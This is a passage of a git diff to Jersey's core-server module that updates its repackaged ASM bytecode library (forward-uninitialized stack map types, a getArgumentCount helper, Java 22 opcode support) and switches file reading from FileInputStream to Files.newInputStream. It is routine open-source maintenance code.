FORWARD_REFERENCE_TYPE_WIDE = 0x20000000; + /** + * The type of forward references stored in two bytes in the stack map table. This is the + * case of the labels of {@link Frame#ITEM_UNINITIALIZED} stack map frame elements, when the NEW + * instruction is after the <init> constructor call (in bytecode offset order). + */ + static final int FORWARD_REFERENCE_TYPE_STACK_MAP = 0x30000000; + /** * The bit mask to extract the 'handle' of a forward reference to this label. The extracted handle * is the bytecode offset where the forward reference value is stored (using either 2 or 4 bytes, @@ -404,6 +411,20 @@ final void put( } } + /** + * Puts a reference to this label in the stack map table of a method. If the bytecode + * offset of the label is known, it is written directly. Otherwise, a null relative offset is + * written and a new forward reference is declared for this label. + * + * @param stackMapTableEntries the stack map table where the label offset must be added. + */ + final void put(final ByteVector stackMapTableEntries) { + if ((flags & FLAG_RESOLVED) == 0) { + addForwardReference(0, FORWARD_REFERENCE_TYPE_STACK_MAP, stackMapTableEntries.length); + } + stackMapTableEntries.putShort(bytecodeOffset); + } + /** * Adds a forward reference to this label. This method must be called only for a true forward * reference, i.e. only if this label is not resolved yet. For backward references, the relative @@ -436,9 +457,12 @@ private void addForwardReference( * Sets the bytecode offset of this label to the given value and resolves the forward references * to this label, if any. This method must be called when this label is added to the bytecode of * the method, i.e. when its bytecode offset becomes known. This method fills in the blanks that - * where left in the bytecode by each forward reference previously added to this label. + * where left in the bytecode (and optionally in the stack map table) by each forward reference + * previously added to this label. * * @param code the bytecode of the method. + * @param stackMapTableEntries the 'entries' array of the StackMapTable code attribute of the + * method. Maybe {@literal null}. * @param bytecodeOffset the bytecode offset of this label. * @return {@literal true} if a blank that was left for this label was too small to store the * offset. In such a case the corresponding jump instruction is replaced with an equivalent @@ -446,7 +470,8 @@ private void addForwardReference( * instructions are later replaced with standard bytecode instructions with wider offsets (4 * bytes instead of 2), in ClassReader. */ - final boolean resolve(final byte[] code, final int bytecodeOffset) { + final boolean resolve( + final byte[] code, final ByteVector stackMapTableEntries, final int bytecodeOffset) { this.flags |= FLAG_RESOLVED; this.bytecodeOffset = bytecodeOffset; if (forwardReferences == null) { @@ -476,11 +501,14 @@ final boolean resolve(final byte[] code, final int bytecodeOffset) { } code[handle++] = (byte) (relativeOffset >>> 8); code[handle] = (byte) relativeOffset; - } else { + } else if ((reference & FORWARD_REFERENCE_TYPE_MASK) == FORWARD_REFERENCE_TYPE_WIDE) { code[handle++] = (byte) (relativeOffset >>> 24); code[handle++] = (byte) (relativeOffset >>> 16); code[handle++] = (byte) (relativeOffset >>> 8); code[handle] = (byte) relativeOffset; + } else { + stackMapTableEntries.data[handle++] = (byte) (bytecodeOffset >>> 8); + stackMapTableEntries.data[handle] = (byte) bytecodeOffset; } } return hasAsmInstructions; diff --git a/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/MethodWriter.java b/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/MethodWriter.java index ea2e4e48ed..918bd717c6 100644 --- a/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/MethodWriter.java +++ b/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/MethodWriter.java @@ -534,8 +534,9 @@ final class MethodWriter extends MethodVisitor { * the number of stack elements. The local variables start at index 3 and are followed by the * operand stack elements. In summary frame[0] = offset, frame[1] = numLocal, frame[2] = numStack. * Local variables and operand stack entries contain abstract types, as defined in {@link Frame}, - * but restricted to {@link Frame#CONSTANT_KIND}, {@link Frame#REFERENCE_KIND} or {@link - * Frame#UNINITIALIZED_KIND} abstract types. Long and double types use only one array entry. + * but restricted to {@link Frame#CONSTANT_KIND}, {@link Frame#REFERENCE_KIND}, {@link + * Frame#UNINITIALIZED_KIND} or {@link Frame#FORWARD_UNINITIALIZED_KIND} abstract types. Long and + * double types use only one array entry. */ private int[] currentFrame; @@ -693,7 +694,7 @@ public AnnotationVisitor visitParameterAnnotation( if (visible) { if (lastRuntimeVisibleParameterAnnotations == null) { lastRuntimeVisibleParameterAnnotations = - new AnnotationWriter[Type.getArgumentTypes(descriptor).length]; + new AnnotationWriter[Type.getArgumentCount(descriptor)]; } return lastRuntimeVisibleParameterAnnotations[parameter] = AnnotationWriter.create( @@ -701,7 +702,7 @@ public AnnotationVisitor visitParameterAnnotation( } else { if (lastRuntimeInvisibleParameterAnnotations == null) { lastRuntimeInvisibleParameterAnnotations = - new AnnotationWriter[Type.getArgumentTypes(descriptor).length]; + new AnnotationWriter[Type.getArgumentCount(descriptor)]; } return lastRuntimeInvisibleParameterAnnotations[parameter] = AnnotationWriter.create( @@ -1199,7 +1200,7 @@ public void visitJumpInsn(final int opcode, final Label label) { @Override public void visitLabel(final Label label) { // Resolve the forward references to this label, if any. - hasAsmInstructions |= label.resolve(code.data, code.length); + hasAsmInstructions |= label.resolve(code.data, stackMapTableEntries, code.length); // visitLabel starts a new basic block (except for debug only labels), so we need to update the // previous and current block references and list of successors. if ((label.flags & Label.FLAG_DEBUG_ONLY) != 0) { @@ -1795,7 +1796,7 @@ private void endCurrentBasicBlockWithNoSuccessor() { if (compute == COMPUTE_ALL_FRAMES) { Label nextBasicBlock = new Label(); nextBasicBlock.frame = new Frame(nextBasicBlock); - nextBasicBlock.resolve(code.data, code.length); + nextBasicBlock.resolve(code.data, stackMapTableEntries, code.length); lastBasicBlock.nextBasicBlock = nextBasicBlock; lastBasicBlock = nextBasicBlock; currentBasicBlock = null; @@ -1979,9 +1980,8 @@ private void putFrameType(final Object type) { .putByte(Frame.ITEM_OBJECT) .putShort(symbolTable.addConstantClass((String) type).index); } else { - stackMapTableEntries - .putByte(Frame.ITEM_UNINITIALIZED) - .putShort(((Label) type).bytecodeOffset); + stackMapTableEntries.putByte(Frame.ITEM_UNINITIALIZED); + ((Label) type).put(stackMapTableEntries); } } diff --git a/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/Opcodes.java b/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/Opcodes.java index b577623608..4256afae68 100644 --- a/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/Opcodes.java +++ b/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/Opcodes.java @@ -287,6 +287,7 @@ public interface Opcodes { int V19 = 0 << 16 | 63; int V20 = 0 << 16 | 64; int V21 = 0 << 16 | 65; + int V22 = 0 << 16 | 66; /** * Version flag indicating that the class is using 'preview' features. diff --git a/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/Symbol.java b/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/Symbol.java index adc939144d..f161884461 100644 --- a/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/Symbol.java +++ b/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/Symbol.java @@ -103,12 +103,25 @@ abstract class Symbol { static final int TYPE_TAG = 128; /** - * The tag value of an {@link Frame#ITEM_UNINITIALIZED} type entry in the type table of a class. + * The tag value of an uninitialized type entry in the type table of a class. This type is used + * for the normal case where the NEW instruction is before the <init> constructor call (in + * bytecode offset order), i.e. when the label of the NEW instruction is resolved when the + * constructor call is visited. If the NEW instruction is after the constructor call, use the + * {@link #FORWARD_UNINITIALIZED_TYPE_TAG} tag value instead. */ static final int UNINITIALIZED_TYPE_TAG = 129; + /** + * The tag value of an uninitialized type entry in the type table of a class. This type is used + * for the unusual case where the NEW instruction is after the <init> constructor call (in + * bytecode offset order), i.e. when the label of the NEW instruction is not resolved when the + * constructor call is visited. If the NEW instruction is before the constructor call, use the + * {@link #UNINITIALIZED_TYPE_TAG} tag value instead. + */ + static final int FORWARD_UNINITIALIZED_TYPE_TAG = 130; + /** The tag value of a merged type entry in the (ASM specific) type table of a class. */ - static final int MERGED_TYPE_TAG = 130; + static final int MERGED_TYPE_TAG = 131; // Instance fields. @@ -151,8 +164,8 @@ abstract class Symbol { * #CONSTANT_INVOKE_DYNAMIC_TAG} symbols, *

  • an arbitrary string for {@link #CONSTANT_UTF8_TAG} and {@link #CONSTANT_STRING_TAG} * symbols, - *
  • an internal class name for {@link #CONSTANT_CLASS_TAG}, {@link #TYPE_TAG} and {@link - * #UNINITIALIZED_TYPE_TAG} symbols, + *
  • an internal class name for {@link #CONSTANT_CLASS_TAG}, {@link #TYPE_TAG}, {@link + * #UNINITIALIZED_TYPE_TAG} and {@link #FORWARD_UNINITIALIZED_TYPE_TAG} symbols, *
  • {@literal null} for the other types of symbol. * */ @@ -172,6 +185,9 @@ abstract class Symbol { * {@link #CONSTANT_DYNAMIC_TAG} or {@link #BOOTSTRAP_METHOD_TAG} symbols, *
  • the bytecode offset of the NEW instruction that created an {@link * Frame#ITEM_UNINITIALIZED} type for {@link #UNINITIALIZED_TYPE_TAG} symbols, + *
  • the index of the {@link Label} (in the {@link SymbolTable#labelTable} table) of the NEW + * instruction that created an {@link Frame#ITEM_UNINITIALIZED} type for {@link + * #FORWARD_UNINITIALIZED_TYPE_TAG} symbols, *
  • the indices (in the class' type table) of two {@link #TYPE_TAG} source types for {@link * #MERGED_TYPE_TAG} symbols, *
  • 0 for the other types of symbol. diff --git a/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/SymbolTable.java b/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/SymbolTable.java index e52af5109a..dc601a16b9 100644 --- a/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/SymbolTable.java +++ b/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/SymbolTable.java @@ -108,11 +108,35 @@ final class SymbolTable { * An ASM specific type table used to temporarily store internal names that will not necessarily * be stored in the constant pool. This type table is used by the control flow and data flow * analysis algorithm used to compute stack map frames from scratch. This array stores {@link - * Symbol#TYPE_TAG} and {@link Symbol#UNINITIALIZED_TYPE_TAG}) Symbol. The type symbol at index - * {@code i} has its {@link Symbol#index} equal to {@code i} (and vice versa). + * Symbol#TYPE_TAG}, {@link Symbol#UNINITIALIZED_TYPE_TAG},{@link + * Symbol#FORWARD_UNINITIALIZED_TYPE_TAG} and {@link Symbol#MERGED_TYPE_TAG} entries. The type + * symbol at index {@code i} has its {@link Symbol#index} equal to {@code i} (and vice versa). */ private Entry[] typeTable; + /** + * The actual number of {@link LabelEntry} in {@link #labelTable}. These elements are stored from + * index 0 to labelCount (excluded). The other array entries are empty. These label entries are + * also stored in the {@link #labelEntries} hash set. + */ + private int labelCount; + + /** + * The labels corresponding to the "forward uninitialized" types in the ASM specific {@link + * typeTable} (see {@link Symbol#FORWARD_UNINITIALIZED_TYPE_TAG}). The label entry at index {@code + * i} has its {@link LabelEntry#index} equal to {@code i} (and vice versa). + */ + private LabelEntry[] labelTable; + + /** + * A hash set of all the {@link LabelEntry} elements in the {@link #labelTable}. Each {@link + * LabelEntry} instance is stored at the array index given by its hash code modulo the array size. + * If several entries must be stored at the same array index, they are linked together via their + * {@link LabelEntry#next} field. The {@link #getOrAddLabelEntry(Label)} method ensures that this + * table does not contain duplicated entries. + */ + private LabelEntry[] labelEntries; + /** * Constructs a new, empty SymbolTable for the given ClassWriter. * @@ -1129,6 +1153,18 @@ Symbol getType(final int typeIndex) { return typeTable[typeIndex]; } + /** + * Returns the label corresponding to the "forward uninitialized" type table element whose index + * is given. + * + * @param typeIndex the type table index of a "forward uninitialized" type table element. + * @return the label corresponding of the NEW instruction which created this "forward + * uninitialized" type. + */ + Label getForwardUninitializedLabel(final int typeIndex) { + return labelTable[(int) typeTable[typeIndex].data].label; + } + /** * Adds a type in the type table of this symbol table. Does nothing if the type table already * contains a similar type. @@ -1149,13 +1185,13 @@ int addType(final String value) { } /** - * Adds an {@link Frame#ITEM_UNINITIALIZED} type in the type table of this symbol table. Does - * nothing if the type table already contains a similar type. + * Adds an uninitialized type in the type table of this symbol table. Does nothing if the type + * table already contains a similar type. * * @param value an internal class name. - * @param bytecodeOffset the bytecode offset of the NEW instruction that created this {@link - * Frame#ITEM_UNINITIALIZED} type value. - * @return the index of a new or already existing type Symbol with the given value. + * @param bytecodeOffset the bytecode offset of the NEW instruction that created this + * uninitialized type value. + * @return the index of a new or already existing type #@link Symbol} with the given value. */ int addUninitializedType(final String value, final int bytecodeOffset) { int hashCode = hash(Symbol.UNINITIALIZED_TYPE_TAG, value, bytecodeOffset); @@ -1173,6 +1209,32 @@ int addUninitializedType(final String value, final int bytecodeOffset) { new Entry(typeCount, Symbol.UNINITIALIZED_TYPE_TAG, value, bytecodeOffset, hashCode)); } + /** + * Adds a "forward uninitialized" type in the type table of this symbol table. Does nothing if the + * type table already contains a similar type. + * + * @param value an internal class name. + * @param label the label of the NEW instruction that created this uninitialized type value. If + * the label is resolved, use the {@link #addUninitializedType} method instead. + * @return the index of a new or already existing type {@link Symbol} with the given value. + */ + int addForwardUninitializedType(final String value, final Label label) { + int labelIndex = getOrAddLabelEntry(label).index; + int hashCode = hash(Symbol.FORWARD_UNINITIALIZED_TYPE_TAG, value, labelIndex); + Entry entry = get(hashCode); + while (entry != null) { + if (entry.tag == Symbol.FORWARD_UNINITIALIZED_TYPE_TAG + && entry.hashCode == hashCode + && entry.data == labelIndex + && entry.value.equals(value)) { + return entry.index; + } + entry = entry.next; + } + return addTypeInternal( + new Entry(typeCount, Symbol.FORWARD_UNINITIALIZED_TYPE_TAG, value, labelIndex, hashCode)); + } + /** * Adds a merged type in the type table of this symbol table. Does nothing if the type table * already contains a similar type. @@ -1225,6 +1287,59 @@ private int addTypeInternal(final Entry entry) { return put(entry).index; } + /** + * Returns the {@link LabelEntry} corresponding to the given label. Creates a new one if there is + * no such entry. + * + * @param label the {@link Label} of a NEW instruction which created an uninitialized type, in the + * case where this NEW instruction is after the <init> constructor call (in bytecode + * offset order). See {@link Symbol#FORWARD_UNINITIALIZED_TYPE_TAG}. + * @return the {@link LabelEntry} corresponding to {@code label}. + */ + private LabelEntry getOrAddLabelEntry(final Label label) { + if (labelEntries == null) { + labelEntries = new LabelEntry[16]; + labelTable = new LabelEntry[16]; + } + int hashCode = System.identityHashCode(label); + LabelEntry labelEntry = labelEntries[hashCode % labelEntries.length]; + while (labelEntry != null && labelEntry.label != label) { + labelEntry = labelEntry.next; + } + if (labelEntry != null) { + return labelEntry; + } + + if (labelCount > (labelEntries.length * 3) / 4) { + int currentCapacity = labelEntries.length; + int newCapacity = currentCapacity * 2 + 1; + LabelEntry[] newLabelEntries = new LabelEntry[newCapacity]; + for (int i = currentCapacity - 1; i >= 0; --i) { + LabelEntry currentEntry = labelEntries[i]; + while (currentEntry != null) { + int newCurrentEntryIndex = System.identityHashCode(currentEntry.label) % newCapacity; + LabelEntry nextEntry = currentEntry.next; + currentEntry.next = newLabelEntries[newCurrentEntryIndex]; + newLabelEntries[newCurrentEntryIndex] = currentEntry; + currentEntry = nextEntry; + } + } + labelEntries = newLabelEntries; + } + if (labelCount == labelTable.length) { + LabelEntry[] newLabelTable = new LabelEntry[2 * labelTable.length]; + System.arraycopy(labelTable, 0, newLabelTable, 0, labelTable.length); + labelTable = newLabelTable; + } + + labelEntry = new LabelEntry(labelCount, label); + int index = hashCode % labelEntries.length; + labelEntry.next = labelEntries[index]; + labelEntries[index] = labelEntry; + labelTable[labelCount++] = labelEntry; + return labelEntry; + } + // ----------------------------------------------------------------------------------------------- // Static helper methods to compute hash codes. // ----------------------------------------------------------------------------------------------- @@ -1275,7 +1390,7 @@ private static int hash( * * @author Eric Bruneton */ - private static class Entry extends Symbol { + private static final class Entry extends Symbol { /** The hash code of this entry. */ final int hashCode; @@ -1319,4 +1434,30 @@ private static class Entry extends Symbol { this.hashCode = hashCode; } } + + /** + * A label corresponding to a "forward uninitialized" type in the ASM specific {@link + * SymbolTable#typeTable} (see {@link Symbol#FORWARD_UNINITIALIZED_TYPE_TAG}). + * + * @author Eric Bruneton + */ + private static final class LabelEntry { + + /** The index of this label entry in the {@link SymbolTable#labelTable} array. */ + final int index; + + /** The value of this label entry. */ + final Label label; + + /** + * Another entry (and so on recursively) having the same hash code (modulo the size of {@link + * SymbolTable#labelEntries}}) as this one. + */ + LabelEntry next; + + LabelEntry(final int index, final Label label) { + this.index = index; + this.label = label; + } + } } diff --git a/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/Type.java b/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/Type.java index 6808aba692..e43b7a9f53 100644 --- a/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/Type.java +++ b/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/Type.java @@ -295,26 +295,12 @@ public Type[] getArgumentTypes() { */ public static Type[] getArgumentTypes(final String methodDescriptor) { // First step: compute the number of argument types in methodDescriptor. - int numArgumentTypes = 0; - // Skip the first character, which is always a '('. - int currentOffset = 1; - // Parse the argument types, one at a each loop iteration. - while (methodDescriptor.charAt(currentOffset) != ')') { - while (methodDescriptor.charAt(currentOffset) == '[') { - currentOffset++; - } - if (methodDescriptor.charAt(currentOffset++) == 'L') { - // Skip the argument descriptor content. - int semiColumnOffset = methodDescriptor.indexOf(';', currentOffset); - currentOffset = Math.max(currentOffset, semiColumnOffset + 1); - } - ++numArgumentTypes; - } + int numArgumentTypes = getArgumentCount(methodDescriptor); // Second step: create a Type instance for each argument type. Type[] argumentTypes = new Type[numArgumentTypes]; // Skip the first character, which is always a '('. - currentOffset = 1; + int currentOffset = 1; // Parse and create the argument types, one at each loop iteration. int currentArgumentTypeIndex = 0; while (methodDescriptor.charAt(currentOffset) != ')') { @@ -702,6 +688,43 @@ public int getSize() { } } + /** + * Returns the number of arguments of this method type. This method should only be used for method + * types. + * + * @return the number of arguments of this method type. Each argument counts for 1, even long and + * double ones. The implicit @literal{this} argument is not counted. + */ + public int getArgumentCount() { + return getArgumentCount(getDescriptor()); + } + + /** + * Returns the number of arguments in the given method descriptor. + * + * @param methodDescriptor a method descriptor. + * @return the number of arguments in the given method descriptor. Each argument counts for 1, + * even long and double ones. The implicit @literal{this} argument is not counted. + */ + public static int getArgumentCount(final String methodDescriptor) { + int argumentCount = 0; + // Skip the first character, which is always a '('. + int currentOffset = 1; + // Parse the argument types, one at a each loop iteration. + while (methodDescriptor.charAt(currentOffset) != ')') { + while (methodDescriptor.charAt(currentOffset) == '[') { + currentOffset++; + } + if (methodDescriptor.charAt(currentOffset++) == 'L') { + // Skip the argument descriptor content. + int semiColumnOffset = methodDescriptor.indexOf(';', currentOffset); + currentOffset = Math.max(currentOffset, semiColumnOffset + 1); + } + ++argumentCount; + } + return argumentCount; + } + /** * Returns the size of the arguments and of the return value of methods of this type. This method * should only be used for method types. @@ -709,7 +732,8 @@ public int getSize() { * @return the size of the arguments of the method (plus one for the implicit this argument), * argumentsSize, and the size of its return value, returnSize, packed into a single int i = * {@code (argumentsSize << 2) | returnSize} (argumentsSize is therefore equal to {@code - * i >> 2}, and returnSize to {@code i & 0x03}). + * i >> 2}, and returnSize to {@code i & 0x03}). Long and double values have size 2, + * the others have size 1. */ public int getArgumentsAndReturnSizes() { return getArgumentsAndReturnSizes(getDescriptor()); @@ -722,7 +746,8 @@ public int getArgumentsAndReturnSizes() { * @return the size of the arguments of the method (plus one for the implicit this argument), * argumentsSize, and the size of its return value, returnSize, packed into a single int i = * {@code (argumentsSize << 2) | returnSize} (argumentsSize is therefore equal to {@code - * i >> 2}, and returnSize to {@code i & 0x03}). + * i >> 2}, and returnSize to {@code i & 0x03}). Long and double values have size 2, + * the others have size 1. */ public static int getArgumentsAndReturnSizes(final String methodDescriptor) { int argumentsSize = 1; diff --git a/core-server/src/main/java/org/glassfish/jersey/server/ContainerRequest.java b/core-server/src/main/java/org/glassfish/jersey/server/ContainerRequest.java index a91521debf..3105c2ff99 100644 --- a/core-server/src/main/java/org/glassfish/jersey/server/ContainerRequest.java +++ b/core-server/src/main/java/org/glassfish/jersey/server/ContainerRequest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -38,7 +38,6 @@ import jakarta.ws.rs.core.Configuration; import jakarta.ws.rs.core.Cookie; import jakarta.ws.rs.core.EntityTag; -import jakarta.ws.rs.core.HttpHeaders; import jakarta.ws.rs.core.MediaType; import jakarta.ws.rs.core.MultivaluedMap; import jakarta.ws.rs.core.Request; @@ -48,6 +47,7 @@ import jakarta.ws.rs.ext.ReaderInterceptor; import jakarta.ws.rs.ext.WriterInterceptor; +import org.glassfish.jersey.http.HttpHeaders; import org.glassfish.jersey.internal.PropertiesDelegate; import org.glassfish.jersey.internal.guava.Preconditions; import org.glassfish.jersey.internal.PropertiesResolver; diff --git a/core-server/src/main/java/org/glassfish/jersey/server/internal/scanning/AnnotationAcceptingListener.java b/core-server/src/main/java/org/glassfish/jersey/server/internal/scanning/AnnotationAcceptingListener.java index 7505b0c738..7e9db27d3d 100644 --- a/core-server/src/main/java/org/glassfish/jersey/server/internal/scanning/AnnotationAcceptingListener.java +++ b/core-server/src/main/java/org/glassfish/jersey/server/internal/scanning/AnnotationAcceptingListener.java @@ -309,7 +309,7 @@ private Class getClassForName(final String className) { private static class ClassReaderWrapper { private static final Logger LOGGER = Logger.getLogger(ClassReader.class.getName()); - private static final int WARN_VERSION = Opcodes.V21; + private static final int WARN_VERSION = Opcodes.V22; private static final int INPUT_STREAM_DATA_CHUNK_SIZE = 4096; private final byte[] b; diff --git a/core-server/src/main/java/org/glassfish/jersey/server/internal/scanning/FileSchemeResourceFinderFactory.java b/core-server/src/main/java/org/glassfish/jersey/server/internal/scanning/FileSchemeResourceFinderFactory.java index f767d5b1b2..2d003f394c 100644 --- a/core-server/src/main/java/org/glassfish/jersey/server/internal/scanning/FileSchemeResourceFinderFactory.java +++ b/core-server/src/main/java/org/glassfish/jersey/server/internal/scanning/FileSchemeResourceFinderFactory.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2018 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -17,10 +17,10 @@ package org.glassfish.jersey.server.internal.scanning; import java.io.File; -import java.io.FileInputStream; -import java.io.FileNotFoundException; import java.io.InputStream; +import java.io.IOException; import java.net.URI; +import java.nio.file.Files; import java.util.Collections; import java.util.NoSuchElementException; import java.util.Set; @@ -140,8 +140,8 @@ public String next() { @Override public InputStream open() { try { - return new FileInputStream(current); - } catch (final FileNotFoundException e) { + return Files.newInputStream(current.toPath()); + } catch (final IOException e) { throw new ResourceFinderException(e); } } diff --git a/core-server/src/main/java/org/glassfish/jersey/server/internal/scanning/FilesScanner.java b/core-server/src/main/java/org/glassfish/jersey/server/internal/scanning/FilesScanner.java index 2fd9332c35..a8ed8c6037 100644 --- a/core-server/src/main/java/org/glassfish/jersey/server/internal/scanning/FilesScanner.java +++ b/core-server/src/main/java/org/glassfish/jersey/server/internal/scanning/FilesScanner.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2018 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -17,10 +17,9 @@ package org.glassfish.jersey.server.internal.scanning; import java.io.File; -import java.io.FileInputStream; -import java.io.FileNotFoundException; import java.io.IOException; import java.io.InputStream; +import java.nio.file.Files; import java.util.NoSuchElementException; import java.util.Stack; @@ -60,7 +59,7 @@ public FilesScanner(final String[] fileNames, final boolean recursive) { private void processFile(final File f) { if (f.getName().endsWith(".jar") || f.getName().endsWith(".zip")) { try { - compositeResourceFinder.push(new JarFileScanner(new FileInputStream(f), "", true)); + compositeResourceFinder.push(new JarFileScanner(Files.newInputStream(f.toPath()), "", true)); } catch (final IOException e) { // logging might be sufficient in this case throw new ResourceFinderException(e); @@ -117,8 +116,8 @@ public String next() { @Override public InputStream open() { try { - return new FileInputStream(current); - } catch (final FileNotFoundException e) { + return Files.newInputStream(current.toPath()); + } catch (final IOException e) { throw new ResourceFinderException(e); } } diff --git a/core-server/src/main/java/org/glassfish/jersey/server/internal/scanning/JarZipSchemeResourceFinderFactory.java b/core-server/src/main/java/org/glassfish/jersey/server/internal/scanning/JarZipSchemeResourceFinderFactory.java index 2fff9a7fb5..aa2874eb5d 100644 --- a/core-server/src/main/java/org/glassfish/jersey/server/internal/scanning/JarZipSchemeResourceFinderFactory.java +++ b/core-server/src/main/java/org/glassfish/jersey/server/internal/scanning/JarZipSchemeResourceFinderFactory.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2018 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -16,12 +16,13 @@ package org.glassfish.jersey.server.internal.scanning; -import java.io.FileInputStream; +import java.io.File; import java.io.IOException; import java.io.InputStream; import java.net.MalformedURLException; import java.net.URI; import java.net.URL; +import java.nio.file.Files; import java.util.Arrays; import java.util.Collections; import java.util.HashSet; @@ -140,7 +141,7 @@ public void reset() { * if that fails with a {@link java.net.MalformedURLException} then the method will * attempt to create a {@link InputStream} instance as follows: *
    -     *  return new new FileInputStream(
    +     *  return Files.newInputStream(
          *      UriComponent.decode(jarUrlString, UriComponent.Type.PATH)));
          * 
    * @@ -153,8 +154,8 @@ private InputStream getInputStream(final String jarUrlString) throws IOException try { return new URL(jarUrlString).openStream(); } catch (final MalformedURLException e) { - return new FileInputStream( - UriComponent.decode(jarUrlString, UriComponent.Type.PATH)); + return Files.newInputStream( + new File(UriComponent.decode(jarUrlString, UriComponent.Type.PATH)).toPath()); } } } diff --git a/core-server/src/main/java/org/glassfish/jersey/server/wadl/internal/generators/WadlGeneratorApplicationDoc.java b/core-server/src/main/java/org/glassfish/jersey/server/wadl/internal/generators/WadlGeneratorApplicationDoc.java index 7bb2cf36e6..250e30ba26 100644 --- a/core-server/src/main/java/org/glassfish/jersey/server/wadl/internal/generators/WadlGeneratorApplicationDoc.java +++ b/core-server/src/main/java/org/glassfish/jersey/server/wadl/internal/generators/WadlGeneratorApplicationDoc.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -17,8 +17,8 @@ package org.glassfish.jersey.server.wadl.internal.generators; import java.io.File; -import java.io.FileInputStream; import java.io.InputStream; +import java.nio.file.Files; import java.util.List; import jakarta.ws.rs.core.Context; @@ -103,7 +103,7 @@ public void init() throws Exception { InputStream inputStream; if (_applicationDocsFile != null) { - inputStream = new FileInputStream(_applicationDocsFile); + inputStream = Files.newInputStream(_applicationDocsFile.toPath()); } else { inputStream = _applicationDocsStream; } diff --git a/core-server/src/main/java/org/glassfish/jersey/server/wadl/internal/generators/WadlGeneratorGrammarsSupport.java b/core-server/src/main/java/org/glassfish/jersey/server/wadl/internal/generators/WadlGeneratorGrammarsSupport.java index 64568dbf70..79d3a5b1e3 100644 --- a/core-server/src/main/java/org/glassfish/jersey/server/wadl/internal/generators/WadlGeneratorGrammarsSupport.java +++ b/core-server/src/main/java/org/glassfish/jersey/server/wadl/internal/generators/WadlGeneratorGrammarsSupport.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -17,8 +17,8 @@ package org.glassfish.jersey.server.wadl.internal.generators; import java.io.File; -import java.io.FileInputStream; import java.io.InputStream; +import java.nio.file.Files; import java.util.List; import java.util.logging.Logger; @@ -116,7 +116,7 @@ public void init() throws Exception { + " is set, one of both is required."); } _delegate.init(); - _grammars = WadlUtils.unmarshall(_grammarsFile != null ? new FileInputStream(_grammarsFile) : _grammarsStream, + _grammars = WadlUtils.unmarshall(_grammarsFile != null ? Files.newInputStream(_grammarsFile.toPath()) : _grammarsStream, saxFactoryProvider.get(), Grammars.class); } diff --git a/core-server/src/main/java/org/glassfish/jersey/server/wadl/internal/generators/resourcedoc/WadlGeneratorResourceDocSupport.java b/core-server/src/main/java/org/glassfish/jersey/server/wadl/internal/generators/resourcedoc/WadlGeneratorResourceDocSupport.java index 85f1027996..8855b1106a 100644 --- a/core-server/src/main/java/org/glassfish/jersey/server/wadl/internal/generators/resourcedoc/WadlGeneratorResourceDocSupport.java +++ b/core-server/src/main/java/org/glassfish/jersey/server/wadl/internal/generators/resourcedoc/WadlGeneratorResourceDocSupport.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -17,8 +17,8 @@ package org.glassfish.jersey.server.wadl.internal.generators.resourcedoc; import java.io.File; -import java.io.FileInputStream; import java.io.InputStream; +import java.nio.file.Files; import java.util.ArrayList; import java.util.List; @@ -128,7 +128,8 @@ public void init() throws Exception { } delegate.init(); - try (final InputStream inputStream = resourceDocFile != null ? new FileInputStream(resourceDocFile) : resourceDocStream) { + try (final InputStream inputStream = resourceDocFile != null ? Files.newInputStream(resourceDocFile.toPath()) + : resourceDocStream) { final ResourceDocType resourceDocType = WadlUtils.unmarshall(inputStream, saxFactoryProvider.get(), ResourceDocType.class); resourceDoc = new ResourceDocAccessor(resourceDocType); diff --git a/core-server/src/main/resources/META-INF/NOTICE.markdown b/core-server/src/main/resources/META-INF/NOTICE.markdown index 00b8fa0b36..92d64be4ec 100644 --- 